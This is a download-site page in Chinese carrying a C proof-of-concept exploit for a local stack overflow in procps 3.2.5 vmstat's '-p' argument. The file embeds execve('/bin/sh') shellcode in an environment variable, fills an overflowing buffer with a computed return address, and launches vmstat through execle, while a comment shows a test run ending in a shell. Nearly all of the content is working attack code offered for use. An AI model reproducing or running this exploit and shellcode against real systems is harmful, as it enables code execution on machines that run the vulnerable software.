⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 procps vmstat p argument local stack overflow poc exploit.txt

📁 一些可以实现益出的程序
💻 TXT
字号:
/*
VULNERABLE PROGRAM:
--=[ procps 3.2.5 vmstat '-p' argument stack overflow
--=[ http://procps.sourceforge.net/
--=[ Advisory: http://www.danitrous.org/code/PoCs/vmstat_adv.txt

EXPLOIT:
--=[ Local env exploit [no suid] by nitrous <nitrous@danitrous.org>
--=[ Tested on Ubuntu Linux 2.6.8.1-3-386

nitrous@blackb0x:~/vuln-dev/nitrous/XPLOITS $ gcc vmstat-p0c.c -o vmstat-p0c
nitrous@blackb0x:~/vuln-dev/nitrous/XPLOITS $ ./vmstat-p0c
-=[ Jumping to: 0xbfffffc9

Partition was not found
sh-2.05b$ id
uid=1000(nitrous) gid=1000(nitrous)

--=[ greets to www.vulnfact.com, dr_fdisk^, CRAc, beck, ran, dymitri,
dex, benn, cryogen, JSS... blah blah blah.
*/

#include<stdio.h>
#include<string.h>

#define BUFFER_SIZE 32
#define VMSTAT_PATH "/usr/bin/vmstat"

char nitrous_egg[]=
"\xeb\x14\x5b\x31\xd2\x88\x53\x07"
"\x89\x5b\x08\x89\x53\x0c\x8d\x4b"
"\x08\x6a\x0b\x58\xcd\x80\xe8\xe7"
"\xff\xff\xff/bin/sh"; //jmp-call execve()

int main()
{
char *payl0ad= (char *)malloc(BUFFER_SIZE);
char *envir0n[2]= {nitrous_egg,NULL};

unsigned long retaddr=0xbffffffa-strlen(nitrous_egg)-strlen(VMSTAT_PATH);

printf("-=[ Jumping to: 0x%x\n\n", retaddr);

int x;
for(x=0; x<BUFFER_SIZE; x+=4)
*(unsigned long *)&payl0ad[x]= retaddr;

execle(VMSTAT_PATH, VMSTAT_PATH,"-p", payl0ad, NULL, envir0n);

return 0;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -